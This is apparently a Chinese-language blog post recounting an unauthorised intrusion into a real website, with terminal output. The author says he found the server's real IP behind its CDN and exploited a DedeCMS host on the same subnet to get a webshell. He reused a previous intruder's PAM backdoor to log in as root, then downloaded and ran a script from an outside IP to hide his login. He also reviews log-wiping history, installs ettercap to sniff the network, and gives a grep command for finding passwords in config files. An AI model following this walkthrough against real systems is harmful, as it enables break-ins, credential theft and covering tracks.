很久没写过文章，对于网站渗透我也不是很在行。 给大家分享分享下吧，拿一个站的过程。 目标站是帝国系统，基本上没什么洞，幸运的是默认后台并没有改变。 来进行IP查询，会发现有CDN加速，获取不了真是IP。 使用dnsenum进行查询得到了真实IP 。 查询了一下，基本上全部都是帝国，只有C的一台机器使用的dedecms，那就从这里下手。 Dede后台被修改，后台从robots.txt获取到。刚好试下新出炉的dede全版本通杀的 漏洞。 得到账号密码后登录后台直接拿到shell。
Php函数禁用了，试着用weevely来突破都没有成功，但是并没有对目录进行限制，我还是可以跨越目录的，把sshd和pam文件 下载下来进行分析，是否被前辈路过种过什么后门。 这是分析pam文件得到的结果。 既然有后门那就直接登录系统吧，pam后门里面分析得到了密码记录文件，轻松获取系统密码，挺感谢这个前辈。 当然，这种情况下渗透太危险,因为你的IP已经泄漏。 root pts/1 192.168.0.0 15:32 2:05m 1:40 7.84s -bash 正在连接 110.34.195.194:80... 已连接。 已发出 HTTP 请求，正在等待回应... 200 OK长度：3849 (3.8K) [text/x-python]正在保存至: “ip.py” 100% 100%[===================================================================================================================================================================================================>] 3,849 --.-K/s in0s 2014-04-16 19:04:48 (291 MB/s) - 已保存 “ip.py” [3849/3849]) root@glles08:~# python ip.py -u root -f 210.34.xxx.xxx root@glles08:~# w 19:05:01 up 1 day, 1:30, 3 users, load average: 1.03, 1.03, 1.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT root pts/2 :2.0 Tue22 3:33m 0.01s 0.01s /bin/bash 已经不见了。 下面可以放心的渗透了，查看了下history记录，笑了。 68 cat aaaa.txt 69 netstat -anpt 70 history 71 cat ntpupdatedate.sh 72 iptables -nvL 73 tcpdump -i eth0 74 tcpdump -o eth0 75 tcpdump --help 76 tcpdump -i eth0 77 tcpdump -iv eth0 78 tcpdump -i -v eth0 79 tcpdump -v -i eth0 80 w 81 last 82 last | grep ftpuser 83 cd /var/ftp/pub/ 84 ls 85 cd .. 86 ls 87 cd .. 88 clear 89 id ftpuser 90 cat /etc/passwd 91 ll 92 ps -Af 93 tcpdump 94 who 95 who 96 who 97 tcpdump 98 tcpdump -v 99 iostat 100 istat 101 tail -f /var/spool/mail/root 102 /sbin/ntpdate 103 cd / 104 find -name ntpdate 105 vi root/ntpupdatedate.sh 106 tcpdump -vv 107 su - ftpuser 108 last 109 ll 110 vi /etc/passwd 111 cd /www/upload/ftproot/cms 112 ll 228 echo '' access 229 echo '' access.log 230 echo '' > access.log 看来我高估那个前辈了。 因为不是内网，没必要翻什么配置文件，C直接就嗅探了。 这里给大家说一下吧，如果在渗透内网的时候要翻记录密码的文件内容的话可以使用这条命令： grep -r --include=”*.conf” “pass” /etc/ #递归查看所有.conf文件里面包含pass内容的文件。 root@glles08:~# cd /etc/yum.repos.d/ root@glles08:~# ls CentOS-Base.repo CentOS-Debuginfo.repo CentOS-Media.repo CentOS-Vault.repo root@glles08:~# uname -a Linux cloud 2.6.32-358.el6.i686 #1 SMP Thu Feb 21 21:50:49 UTC 2013 i686 i686 i386 GNU/Linux root@glles08:~# vi ettercap.repo [etter] name=etter baseurl=http://dl.fedoraproject.org/pub/epel/6/i386/ enabled=1 gpgcheck=0 root@glles08:~#yum clean all yum insLoaded plugins: fastestmirror, refresh-packagekit, security Cleaning repos: base etter extras updates Cleaning up Everything tCleaning up list of fastest mirrors root@glles08:~#yum install ettercap -y Loaded plugins: fastestmirror, refresh-packagekit, security Determining fastest mirrors * base: centos.01link.hk * extras: centos.01link.hk * updates: mirror.sunnyvision.com base | 3.7 kB 00:00 base/primary_db | 3.5 MB 00:00 etter | 4.4 kB 00:00 etter/primary_db | 5.0 MB 00:07 extras | 3.4 kB 00:00 extras/primary_db | 18 kB 00:00 updates | 3.4 kB 00:00 updates/primary_db | 2.4 MB 00:00 Setting up Install Process Resolving Dependencies --> Running transaction check ---> Package ettercap.i686 0:0.7.5-3.el6.1.20120906gitc796e5 will be installed --> Processing Dependency: libnet.so.1 for package: ettercap-0.7.5-3.el6.1.20120906gitc796e5.i686 --> Running transaction check ---> Package libnet.i686 0:1.1.6-7.el6 will be installed --> Finished Dependency Resolution Dependencies Resolved ============================================================================================================================================================================================================================================= Package Arch Version Repository Size ============================================================================================================================================================================================================================================= Installing: ettercap i686 0.7.5-3.el6.1.20120906gitc796e5 etter 472 k Installing for dependencies: libnet i686 1.1.6-7.el6 etter 59 k Transaction Summary ============================================================================================================================================================================================================================================= Install 2 Package(s) Total download size: 531 k Installed size: 1.5 M Downloading Packages: (1/2): ettercap-0.7.5-3.el6.1.20120906gitc796e5.i686.rpm | 472 kB 00:01 (2/2): libnet-1.1.6-7.el6.i686.rpm | 59 kB 00:00 --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Total 308 kB/s | 531 kB 00:01 Running rpm_check_debug Running Transaction Test Transaction Test Succeeded Running Transaction Installing : libnet-1.1.6-7.el6.i686 1/2 Installing : ettercap-0.7.5-3.el6.1.20120906gitc796e5.i686 2/2 Verifying : libnet-1.1.6-7.el6.i686 1/2 Verifying : ettercap-0.7.5-3.el6.1.20120906gitc796e5.i686 2/2 Installed: ettercap.i686 0:0.7.5-3.el6.1.20120906gitc796e5 Dependency Installed: libnet.i686 0:1.1.6-7.el6 Complete!
